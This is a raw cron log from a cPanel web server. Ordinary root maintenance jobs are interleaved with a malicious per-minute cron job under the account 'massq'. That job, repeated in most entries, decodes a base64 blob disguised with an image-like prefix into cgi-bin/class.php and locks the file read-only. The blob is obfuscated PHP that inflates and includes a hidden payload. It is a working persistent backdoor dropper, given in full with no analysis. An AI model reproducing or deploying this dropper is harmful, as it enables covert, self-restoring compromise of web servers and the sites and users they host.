Nov 16 02:18:01 server CROND[5132]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:19:01 server CROND[5233]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:20:01 server CROND[5332]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 16 02:20:01 server CROND[5333]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 02:20:01 server CROND[5337]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 02:20:01 server CROND[5340]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:20:01 server CROND[5342]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 16 02:21:01 server CROND[5491]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:22:01 server CROND[5693]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:23:01 server CROND[5810]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:24:01 server CROND[5918]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:25:01 server CROND[6020]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 02:25:01 server CROND[6022]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:25:01 server CROND[6023]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 02:25:01 server CROND[6024]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 16 02:26:01 server CROND[6180]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:27:01 server CROND[6385]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 16 02:27:01 server CROND[6386]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:28:01 server CROND[6496]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:29:01 server CROND[6598]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:30:01 server CROND[6706]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 02:30:01 server CROND[6707]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 02:30:01 server CROND[6709]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 16 02:30:01 server CROND[6708]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
